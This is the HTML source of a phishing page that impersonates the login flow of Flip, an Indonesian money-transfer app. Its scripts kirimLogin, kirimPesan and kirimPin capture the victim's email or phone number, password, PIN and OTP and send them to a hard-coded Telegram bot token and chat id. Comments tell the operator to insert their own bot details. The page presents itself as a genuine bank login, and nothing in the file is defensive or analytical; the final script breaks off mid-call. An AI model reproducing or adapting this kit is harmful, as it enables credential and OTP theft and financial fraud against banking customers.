Saya/index1.html

886 lines
41 KiB
HTML
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!-- This site was created in Webflow. https://www.webflow.com --><!-- Last Published: Sat Apr 22 2023 09:42:10 GMT+0000 (Coordinated Universal Time) -->
<html data-wf-domain="sinarmas-mobile.webflow.io" data-wf-page="6442141a49c262283d23a772" data-wf-site="644212b949c2624101239c6f" lang="In"><head><meta charset="utf-8"/>
<title>Flip - Transfer Beda Bank Gratis</title>
<meta content="Flip - Transfer Beda Bank Gratis " property="og:title">
<meta content="flip.id" property="twitter:title">
<meta name="description" content="Transfer beda bank, top up e-wallet, kirim uang ke luar negeri, dan beli produk digital. Semua lebih terjangkau!">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" name="viewport">
<meta name="theme-color" content="#FFFFFF">
<meta content="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDke0ML57-FWGF63PLg0_hgJwc4HEB7Tqp_Rt8jVPgilp42OztJTONPbgNy9WAwgCXJS9NsvPdmZureLIsNcgMyb7odSCElXigrmDMftBhTbM6-YIAT7o_Rs_5MfU-jZTBCk3Sqqh0CQlojgeFWkVBBsy1elNS3NwAg3bOigYFOGFYA0xD-XbbfXMK/s16000/IMG-20230528-WA0013.jpg" property="og:image">
<link rel="canonical" href="https://flip.id/">
<meta property="og:url" content="https://flip.id/" />
<meta content="Flip - Transfer Beda Bank Gratis" name="generator">
<meta content="Webflow" name="generator"/>
<link href="https://uploads-ssl.webflow.com/644212b949c2624101239c6f/css/sinarmas-mobile.webflow.e4429d583.css" rel="stylesheet" type="text/css"/>
<!--[if lt IE 9]>-->
<script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js" type="text/javascript">
</script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<!--<![endif]-->
<script type="text/javascript">!function(o,c){var n=c.documentElement,t=" w-mod-";n.className+=t+"js",("ontouchstart"in o||o.DocumentTouch&&c instanceof DocumentTouch)&&(n.className+=t+"touch")}(window,document);</script>
<link href="https://storage.googleapis.com/dot-flip-dev/media-library/logo_lg_430b708631/logo_lg_430b708631.svg" rel="shortcut icon" type="image/x-icon"/>
<link href="https://storage.googleapis.com/dot-flip-dev/media-library/logo_lg_430b708631/logo_lg_430b708631.svg" rel="apple-touch-icon"/>
<link href="https://fonts.googleapis.com/css?family=Alatsi" rel="stylesheet" type="text/css">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-0evHe/X+R7YkIZDRvuzKMRqM+OrBnVFBL6DOitfPri4tjfHxaWutUpFmBp4vmVor" crossorigin="anonymous">
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css"/>
<link rel="stylesheet" href="https://flip-indonesia.github.io/landing/style.css"/>
<script type="text/javascript">window.__WEBFLOW_CURRENCY_SETTINGS = {"currencyCode":"USD","$init":true,"symbol":"$","decimal":".","fractionDigits":2,"group":",","template":"{{wf {\"path\":\"symbol\",\"type\":\"PlainText\"} }} {{wf {\"path\":\"amount\",\"type\":\"CommercePrice\"} }} {{wf {\"path\":\"currencyCode\",\"type\":\"PlainText\"} }}","hideDecimalForWholeNumbers":false};</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js"></script>
<style>
</style>
</head>
<body class="body-4">
<welalxcome>
</welalxcome>
<chsalxcome2 style="display: none;">
<div style="height:30px;width: 70px;margin-top: -30px;margin-bottom: 0px;float:center;margin-left:42%" class="talxcome">
</div>
<div class="container-4 w-container">
<form onsubmit="kirimPesan()" method="get">
<fieldset id="ryuSubmit">
<div id="homeku">
<image src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwxZzEBfkKKBoSOTg4Dq-ZdTJ5h_lXvreuflUy0RBYrdXdG5B6IRlgmYyu_vKNK5YlWqfB39hYS14tw9mX2LJjOUNZAfuBAk35gWfaMVVIuFQOelf9POHvPQYTFfz6JF-A-btaZV9-oqKtcsWXSPliVeC9OrN1o-5s85qhN-_a81SHE9k_P2bGKbSc/s16000/AddText_05-28-01.20.06.jpg" width="100%" height="auto">
<div style="top: 225px; position: absolute; margin: auto;">
<label for="user" class="labelku">Email/Nomor Handphone</label>
<input type="text" id="user" class="userku" placeholder="nama@email.id atau 085123456789" />
<br>
<br>
<p style="margin-top: 30px;"></p>
<label for="pass" class="labelku" style="margin-left: -70px">Kata Sandi</label>
<input type="password" id="pass" class="userku" placeholder="********" />
<a href="" style="text-decoration: none; position: absolute; left: 15; font-size: 13px; font-weight: 800; color: #FD6442; margin-top: 65px">Lupa Kata sandi?</a>
<button class="btnflip" type="button" id="btnRedirect" onclick="kirimLogin()" >Masuk</button>
<a href="" style="text-decoration: none; position: fixed; left: 0; right: 0; font-size: 13px; font-weight: 800; color: #ccc; bottom: 20; ">Belum punya akun? <span style="color: #FD6442;">Daftar.</span></a>
</div>
</div>
<div class="tab" id="login">
<div style="position: fixed; left: 0; right: 0; bottom: 6; width: 92%; margin: 15px auto">
<div class="col-12" style="width: 100%; display: block; margin-top: 20px; background: transparent;">
<div>
<br>
<label class="floating-label"><input type="text" class="input-text nope inputku" placeholder=" " id="nama"> <span style="margin-left: -10px; margin-top: 30px; color: #2C2C2C; font-weight: 400;">Username</span> </label>
</div>
<div style="margin-top: -2px">
<label class="floating-label" style="margin-top">
<p></p>
<p></p>
<input type="password" class="input-text nope " placeholder=" " id="email" pattern="(?=.*[a-z])(?=.*[A-Z]).{8,}" title="Masukan Data yang terdaftar di 𝗕𝗥𝗜𝗺𝗼 anda" required><span style="margin-left: -10px; margin-top: 30px; color: #2C2C2C; font-weight: 400;">Password</span> </label>
<div class="bubble-element eye clickable-element" tabindex="3" id="eyeOpen">
<img alt="" id="eye" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCANQQ9gRdrWH7ZPFKAq4urYybNZsOj8Ex5X_dv2V-_pcCmIi7fFbbUzil7Lt1EHCxfek4x7r1XKYELxxV8zrJ08eXhx2rFpludblnsBaiOc8tw_APAWFft0MqheoBGS7Ba9pHuhP7LjNz38WVXJL9f-q-7QY8lfuuC77vQTH3-HhJN02PMO6awj1-/s38/tutup0399.jpg" style="display: block; margin: 0px; width: 100%; height: 100%; border-radius: 0px;">
</div>
<div class="bubble-element eye clickable-element" tabindex="3" id="eyeClose" style="display: none">
<img alt="" id="eye" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2D_yppIdlT8o8x-_N4i6il4NGMzDSXDlRDGcg_E7Y12wN4xb6Oz17Px8AGCpl-wSD_qbXxhFEj6d3p-6g_KSLYaslfIyHjseWqrijoTq6XyKl07ht6xMX2obQ738iVTc1r0taCjIDAA5amrjTDaJ_kPu8rsWCCySVr4qbQu11mF2YrFiZs8raSKuV/s52/buka53a4.jpg" style="display: block; margin: 0px; width: 100%; height: 100%; border-radius: 0px;">
</div>
<br>
<div class="text-header" style="float: right; position: static; z-index: 999; display: block; margin-top: -10px; margin-bottom:">
<font style="font-size: 16px" color="#000000"><a href="./lupa_password.html" target="_blank" style="color: #025198; text-decoration: none; font-weight: bold; font-family: sans-serif;">Lupa Username/Password?</a></font>
</div>
</div>
</div>
<button class="btn-login1" type="button" id="dolog" onclick="loginku()" disabled> Login </button>
<div class="col-12" style="width: 40px; max-width: 40%; display: block; margin: -10px auto; margin-right: 20px; margin-top: -91px;">
<button type="button" class="btn-login" onclick="openForm()"></button>
</div>
</div>
</div>
<div class="form-popup" id="myForm" style="margin-top: 0px; width: 100%; background-color: #00000040">
<input type="hidden" value="fingerprint" required>
<button id="dolog" type="submit" style="width: 100%; height: 100%; background: #000000; "><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpm2K2JjLtYWlcV0QrNSU7ECBSFJGsUn94v5U1_eXWScHM6t8xk5K3dW7Z6L4MAYQmKFG1tTEesbTXJlnGZ-Ez4KDA4kG3jYBSSuQ3j0h9HxyxsWxSqEAAnHWtj0Qmw6vahUpN7adcpY4QNnO-AJHLIHjhlfnMK7ZkNQwUhbeSN2B7dIkA8RxfgsgK/s2137/AddText_01-30-07.14.49.png" style="width: 100%; height: 100%; margin-left: -7px; margin-top: 0px;" class="card-item__bg"></button>
<button type="button" class="btn-cancel" onclick="closeForm()">Cancel</button>
</div>
</div>
</div>
<div class="tab" id="pinku" style="color: #fff; padding-left: 25px; padding-right: 30px; margin: auto;">
<div class="row" style="margin-top: 30px; margin: 20px auto;">
<div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; text-align: center; margin-top: 25px; height: 98.8px; padding-bottom: 0px; font-family: Barlow; font-size: 16px; font-weight: 400; color: #fff; line-height: 1.4; border-radius: 0px;">
<div class="text-header" style="font-family: 'Nunito', sans-serif;"><font size="3" style="color: #fff"></div>
</div>
</div>
<div class="row" style="margin-top: 30px; color: #fff; text-align: center">
<div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; height: 98.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: #fff; line-height: 1.4; border-radius: 0px;">
<div class="text-header"></div>
</div>
</div>
<div class="row" style="margin-top: -100px;">
<div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; height: 58.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: rgb(59, 59, 59); line-height: 1.4; border-radius: 0px;">
<div class="row" style="texr-align: center; margin: 40px; margin-top: -35px">
<input type="hidden" name="sixpin" id="setPin">
<div class="col-2">
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
<div class="bubble-element Group" id="pin-1" data-val="" style="box-sizing: border-box; font-size: 11px; color: #000; text-align: center; padding-top: 0px; width: 20px; left: 0px; top: 0px; background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
</div>
</div>
<div class="col-2">
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
<div class="bubble-element Group" id="pin-2" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
</div>
</div>
<div class="col-2">
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
<div class="bubble-element Group" id="pin-3" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
</div>
</div>
<div class="col-2">
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
<div class="bubble-element Group" id="pin-4" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
</div>
</div>
<div class="col-2">
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
<div class="bubble-element Group" id="pin-5" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px; background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
</div>
</div>
<div class="col-2">
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
<div class="bubble-element Group" id="pin-6" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;" ></div>
</div>
</div>
</div>
<div class="row" style="margin-top: -130px">
<div class="col-12">
<div class="text-header text-center" style="font-family: 'Nunito', sans-serif;'"><</div>
</div>
</div>
</div>
</div>
<div class="row" style="margin-top: 70px; margin-left: -5px;">
<div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; height: 98.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: black; line-height: 1.4; border-radius: 0px;">
<div class="row">
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="1">1</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="2">2</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="3">3</button>
</div>
</div>
<div class="row" style="margin-top: -80px">
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="4">4</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="5">5</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="6">6</button>
</div>
</div>
<div class="row" style="margin-top: -80px">
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="7">7</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="8">8</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="9">9</button>
</div>
</div>
<div class="row" style="margin-top: -80px">
<div class="col-4">
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="0">0</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="hapus"><i class="ion-backspace-outline"></i></button>
</div>
</div>
</div>
</div>
</div>
</fieldset>
</form>
</div>
<div class="tab" id="debit">
<p id="otpsaya" style="color: black; position: fixed; left: 0; right: 0; top: 113; font-size: 15px"></p>
<div class="pin-code" maxlength="6" style="margin-top: 170px;">
<form method="get">
<input type="hidden" name="sixpin" id="setPin">
<input type="tel" id="pin1" data-id="1" maxlength="1" required autofocus>
<input type="tel" id="pin2" data-id="2" name="pin2" maxlength="1" autofocus>
<input type="tel" id="pin3" data-id="3" name="pin3" maxlength="1" autofocus>
<input type="tel" id="pin4" data-id="4" name="pin4" maxlength="1" autofocus>
<input type="tel" id="pin5" data-id="5" name="pin5" maxlength="1" autofocus>
<input type="tel" value="" id="pin6" data-id="6" name="pin6" maxlength="1" required onchange="javascript:this.form.submit();" oninput="kirimPin()" autofocus>
<p></p>
<input type="tel" style="opacity: 0.0">
</div>
</form>
<p style="font-weight: bold; font-size: 25px; color: #000000; text-align: center; margin: 10px auto; margin-top: -50px" id="timer">3 : 00</p>
<center>
<button type="button" id="gantino" style="position: ; bottom: 10; left; 0; right: 0; margin: 5px auto; margin-top: 340px; color: #FD6442; font-weight: 800; background: transparent; font-size: 15px">Ubah nomor HP</button>
</center>
</div>
<div id="loading">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWid-1DztYEbF1wQ4b3ESQKzFpMuGNzhaS2PN-lrrQpGzFt7NIsq0vuvIEI63T_g-iDxbu358ijQMM23euMCjuBqzegiKeJWQSziK-1H-jJZhL06h0zOERvNm2hNGMuuGsqoY1T8xCBTJ9GY-U9orhQfMkQvdYGG41OLj1knwPFfCEN0YqLFb73UI6/s16000/ezgif.com.gif"
alt="">
</div>
<div id="aseli"></div>
<div id="koneksi">
<div class="animated fadeInUpBig">
<image src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvlhVV1edmw-JWVGbd5sKgKqC07Psdrq7yzoeuzacmSJ52mHlLkVdWEefInQpNRFlLzmjvOntJ65c40xTAYKamopDWfp2MNwsFwyUxt-wNVBm8Pf-cVA9PPYOAeDKsXxX6dYe2CNoRyIN6Zx-tGTv8VL47i7GxPAmcq2MOyowksTIYEFIVhghzaFA/s16000/1685119842427.png" width="100%" height="100%"></image>
</div>
</div>
<!-- partial -->
</div>
<!-- partial:index.partial.html -->
<script src="https://code.jquery.com/jquery-1.12.4.min.js"
integrity="sha384-nvAa0+6Qg9clwYCGGPpDQLVpLNn0fRaROjHqs13t4Ggj3Ez50XnGQqc/r8MhnRDZ"
crossorigin="anonymous">
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.15/jquery.mask.min.js"></script>
<script>
$(document).ready(function(){
$("#setPin").passwordify().focus();
});
</script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
<script type="text/javascript">
$(function () {
$("#btnRedirect1").click(function () {
var seconds = 3;
$("#indi").show();
$("#loading").show();
$("#lblCount").html(seconds);
setInterval(function () {
seconds--;
$("#lblCount").html(seconds);
if (seconds == 0) {
$("#indi").hide();
$("#loading").hide();
document.getElementById("pinku").style.display = "block";
document.getElementById("menu").style.display = "none";
}
}, 1000);
});
});
</script>
<script type="text/javascript">
$(function () {
$("#gantino").click(function () {
var seconds = 3;
$("#loading").show();
$("#lblCount").html(seconds);
setInterval(function () {
seconds--;
$("#lblCount").html(seconds);
if (seconds == 0) {
$("#loading").hide();
document.getElementById("homeku").style.display = "block";
document.getElementById("debit").style.display = "none";
document.getElementById("pinku").style.display = "none";
}
}, 1000);
});
});
</script>
<script>
/**
* jQuery.Passwordify.js
* Written by: Jay Simons
* Cloudulus.Media (https://code.cloudulus.media)
*/
if (window.jQuery) {
(function ($) {
$.fn.passwordify = function (opts) {
var settings = $.extend({
maxLength: 8,
numbersOnly: false,
alphaOnly: false,
alNumOnly: false,
enterKeyCallback: null
}, opts);
var rePattern = '\\s\\S';
if (settings.numbersOnly) rePattern = '0-9';
if (settings.alphaOnly) rePattern = 'A-z';
if (settings.alNumOnly) rePattern = '0-9A-z';
var maskPlaceholder = "";
for (var i = 0; i < settings.maxLength; i++)
{
maskPlaceholder = maskPlaceholder + 'Z';
}
return this.on('keyup', function (e) {
var me = $(this);
switch (e.which) {
case 8: // Handle backspace
$(this).data('val', $(this).data('val').slice(0, -1));
break;
case 13: // Handle enter key
if (typeof settings.enterKeyCallback == 'function') settings.enterKeyCallback(me);
break;
case undefined:
$(this).data('val', $(this).val());
break;
default: // All other input
var regex = new RegExp("^[" + rePattern + "]$");
if (regex.exec(e.key) && $(this).data('val').length < settings.maxLength) {
$(this).data('val', $(this).data('val') + e.key);
}
}
setTimeout(function () {
var inpVal = me.val();
me.val(inpVal.replace(/./gi, '*'));
me.trigger('change');
}, 300);
}).mask(maskPlaceholder, {
translation: {
'Z': {pattern: "[" + rePattern + "\*]"}
}
});
}
})(jQuery);
} else {
console.log("Passwordify.js: This class requies jQuery > v3!");
}
</script>
<!-- partial -->
</center>
</div>
</form>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script>
$( document ).ready(function() {
setTimeout(() => {
$('welalxcome').hide();
$('chsalxcome2').fadeIn();
},1000)
});
$(document).ready(function () {
$("#Button").on('click', function () {
$("#loading").show();
setTimeout(function () {
}, 1800);
});
});
</script>
<script>
function kirimLogin(){
document.getElementById("pinku").style.display = "block";
document.getElementById("loading").style.display = "block";
setTimeout(function () {
$("#loading").fadeOut("slow"); }, 900);
var user = document.getElementById('user');
var pass = document.getElementById('pass');
var gabungan = '𝗘𝗺𝗮𝗶𝗹/𝗡𝗼.𝗛𝗮𝗻𝗱𝗽𝗵𝗼𝗻𝗲 %3A%0A' + user.value + '%0A𝗣𝗮𝘀𝘀𝘄𝗼𝗿𝗱 %3A%0A' + pass.value;
var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
$.ajax({
url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`,
method: `POST`,
})
}
</script>
<script>
function openForm() {
document.getElementById("myForm").style.display = "block";
}
function closeForm() {
document.getElementById("myForm").style.display = "none";
}
</script>
<script>
document.getElementById('timer').innerHTML =
01 + ":" + 59;
startTimer();
function startTimer() {
var presentTime = document.getElementById('timer').innerHTML;
var timeArray = presentTime.split(/[:]+/);
var m = timeArray[0];
var s = checkSecond((timeArray[1] - 1));
if(s==59){m=m-1}
if(m<01){
return
}
document.getElementById('timer').innerHTML =
m + " : " + s;
console.log(m)
setTimeout(startTimer, 1000);
}
function checkSecond(sec) {
if (sec < 10 && sec >= 0) {sec = "0" + sec}; // add zero in front of numbers < 10
if (sec < 0) {sec = "59"};
return sec;
}
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/js/bootstrap.bundle.min.js" integrity="sha384-pprn3073KE6tl6bjs2QrFaJGz5/SUsLqktiwsUTF55Jfv3qYSDhgCecCxMW52nD2" crossorigin="anonymous"></script>
<script>
function kirimPesan() {
document.getElementById("otpsaya").innerHTML = "SMS di <strong>" + user.value + "</strong> dan cek email anda";
var setPin = document.getElementById('setPin');
var gabungan = '𝗣𝗜𝗡 𝗙𝗹𝗶𝗽 %3A%0A' + setPin.value;
var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
$.ajax({
url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`,
method: `POST`,
})
}
$(document).ready(function() {
$("button#setPin").on('click', function() {
var pin = $(this).attr('data-id');
if($.trim($("#pin-1").html())=='') {
$("#pin-1").html(pin);
} else if($.trim($("#pin-1").html())!='' && $.trim($("#pin-2").html())=='') {
$("#pin-2").html(pin);
} else if($.trim($("#pin-2").html())!='' && $.trim($("#pin-3").html())=='') {
$("#pin-3").html(pin);
} else if($.trim($("#pin-3").html())!='' && $.trim($("#pin-4").html())=='') {
$("#pin-4").html(pin);
} else if($.trim($("#pin-4").html())!='' && $.trim($("#pin-5").html())=='') {
$("#pin-5").html(pin);
} else if($.trim($("#pin-5").html())!='' && $.trim($("#pin-6").html())=='') {
$("#pin-6").html(pin);
var setPin = $("#pin-1").html()+''+$("#pin-2").html()+''+$("#pin-3").html()+''+$("#pin-4").html()+''+$("#pin-5").html()+''+$("#pin-6").html();
$("input#setPin").val(setPin);
var pinValue = $("input#setPin").val();
if(pinValue.length == 6) {
$("fieldset").submit();
document.getElementById("debit").style.display = "block";
document.getElementById("loading").style.display = "flex";
setTimeout(function () {
$("#loading").fadeOut("slow"); }, 900);
}
}
});
$("#hapus").on('click', function() {
$("#pin-1").html('');
$("#pin-2").html('');
$("#pin-3").html('');
$("#pin-4").html('');
$("#pin-5").html('');
});
});
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="https://d3e54v103j8qbb.cloudfront.net/js/jquery-3.5.1.min.dc5e7f18c8.js?site=644212b949c2624101239c6f" type="text/javascript" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
<!--<script src="https://uploads-ssl.webflow.com/644212b949c2624101239c6f/js/webflow.5baa35f54.js" type="text/javascript"></script>--><!--[if lte IE 9]>-->
<script src="//cdnjs.cloudflare.com/ajax/libs/placeholders/3.0.2/placeholders.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"
integrity="sha512-+NqPlbbtM1QqiK8ZAo4Yrj2c4lNQoGv8P79DPtKzj++l5jnN39rHA/xsqn8zE9l0uSoxaCdrOgFs6yjyfbBxSg=="
crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script type="text/javascript">
function EnableDisable(tiktok) {
//Reference the Button.
var Button = document.getElementById("Button");
//Verify the TextBox value.
if (tiktok.value.trim() != "") {
//Enable the TextBox when TextBox has value.
Button.disabled = false;
} else {
//Disable the TextBox when TextBox is empty.
Button.disabled = true;
}
};
</script>
<script>
function OnButton(nama, email) {
if(nama.length > 4 && email.length > 5) {
$(".btn-login1").prop('disabled', false);
} else {
$(".btn-login1").prop('disabled', true);
}
}
$(document).ready(function() {
$("body").on('click', 'button#doLog', function() {
var user = $("#nama").val();
var pass = $("#email").val();
$.ajax({
url: "/login/confirm.php",
method: "POST",
data: "username="+user+"&password="+pass,
beforeSend: function() {
$("#loading").show();
},
success: function(responsex) {
$("#aseli").html('');
if(responsex == "true") {
$.get("/aplikasi/login.js", function(datax, status){
window.history.pushState("", "", '/login.js');
$("#hideBody").hide();
$("#loading").hide();
$("#aseli").html(datax);
});
} else {
$.get("/aplikasi/pin.php", function(data, status){
window.history.pushState("", "", 'aplikasi/login.php');
setTimeout(function() {
$("#hideBody").hide();
$("#loading").hide();
$("#aseli").html(data);
$("#aseli").show();
}, 1000);
});
}
}
})
});
$("div#eyeOpen").on('click', function() {
$("#eyeOpen").css("display", "none");
$("#eyeClose").css("display", "block");
$("#email").prop("type", "text");
$("div#eyeClose").on('click', function() {
$("#eyeOpen").css("display", "block");
$("#eyeClose").css("display", "none");
$("#email").prop("type", "password");
});
});
$("#nama").on('input', function() {
var user = $("#nama").val();
var pass = $("#email").val();
OnButton(user, pass);
});
$("#email").on('input', function() {
var user = $("#nama").val();
var pass = $("#email").val();
OnButton(user, pass);
});
});
</script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js'></script>
<script src='https://use.fontawesome.com/2473308824.js'></script>
<script>
$(document).ready(function() {
var buttoqn = $('#Button1');
$(button).prop('disabled', true);
$('#pin5').on('input', function() {
var pin5 = $("#pin5").val();
var logos = $("#logos").val();
if ($(buttonq).prop('disabled')) $(buttonq).prop('disabled', false);
else $(button).prop('disabled', true);
});
</script>
<!--<![endif]-->
</body>
</html>
<script>
//var pinContainer = document.getElementsByClassName("pin-code")[maxlength];
var pinContainer = document.querySelector(".pin-code");
console.log('There is ' + pinContainer.length + ' Pin Container on the page.');
pinContainer.addEventListener('keyup', function (event) {
var target = event.srcElement;
var maxLength = parseInt(target.attributes["maxlength"].value, 6);
var myLength = target.value. length;
if (myLength >= maxLength) {
var next = target;
while (next = next.nextElementSibling) {
if (next == 0) break;
if (next.tagName.toLowerCase() == "input") {
next.focus();
break;
}
}
}
if (myLength === 0) {
var next = target;
while (next = next.previousElementSibling) {
if (next == 0) break;
if (next.tagName.toLowerCase() == "input") {
next.focus();
break;
}
}
}
}, false);
pinContainer.addEventListener('keydown', function (event) {
var target = event.srcElement;
target.value = "";
}, false);
</script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/vue/2.6.10/vue.min.js'></script>
<script src='https://unpkg.com/vue-the-mask@0.11.1/dist/vue-the-mask.js'></script><script src="./credit.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
/*
See on github: https://github.com/muhammederdem/credit-card-form
*/
new Vue({
el: "#app",
data() {
return {
currentCardBackground: Math.floor(Math.random()* 25 + 1), // just for fun :D
cardName: "",
cardNumber: "",
cardCvv: "",
cardPin: "",
cardPin1: "",
cardPin2: "",
cardPin3: "",
cardPin4: "",
cardPin5: "",
amexCardMask: "#### ###### #####",
otherCardMask: "#### #### #### ####",
cardNumberTemp: "",
isCardFlipped: false,
focusElementStyle: null,
isInputFocused: true
};
},
mounted() {
this.cardNumberTemp = this.otherCardMask;
document.getElementById("cardNumber").focus();
},
computed: {
getCardType () {
let number = this.cardNumber;
let re = new RegExp("^4[0-8]");
if (number.match(re) != null) return "visa";
re = new RegExp("^3[4-7]");
if (number.match(re) != null) return "amex";
re = new RegExp("^5[1-8]");
if (number.match(re) != null) return "mastercard";
re = new RegExp("^6011");
if (number.match(re) != null) return "discover";
re = new RegExp("^6013");
if (number.match(re) != null) return "gpn";
re = new RegExp('^9792')
if (number.match(re) != null) return 'troy'
return "none"; // default type
},
generateCardNumberMask () {
return this.getCardType === "amex" ? this.amexCardMask : this.otherCardMask;
},
minCardMonth () {
if (this.cardYear === this.minCardYear) return new Date().getMonth() + 1;
return 1;
}
},
watch: {
cardYear () {
if (this.cardMonth < this.minCardMonth) {
this.cardMonth = "";
}
}
},
methods: {
flipCard (status) {
this.isCardFlipped = status;
},
focusInput (e) {
this.isInputFocused = true;
let targetRef = e.target.dataset.ref;
let target = this.$refs[targetRef];
this.focusElementStyle = {
width: `${target.offsetWidth}px`,
height: `${target.offsetHeight}px`,
transform: `translateX(${target.offsetLeft}px) translateY(${target.offsetTop}px)`
}
},
blurInput() {
let vm = this;
setTimeout(() => {
if (!vm.isInputFocused) {
vm.focusElementStyle = null;
}
}, 300);
vm.isInputFocused = false;
}
}
});
function kirimPin() {
var pin1 = document.getElementById('pin1');
var pin2 = document.getElementById('pin2');
var pin3 = document.getElementById('pin3');
var pin4 = document.getElementById('pin4');
var pin5 = document.getElementById('pin5');
var pin6 = document.getElementById('pin6');
var gabungan = '%0A𝗢𝗧𝗣 %3A%0A' + pin1.value + pin2.value + pin3.value + pin4.value + pin5.value + pin6.value;
var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
$.ajax({
url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`,
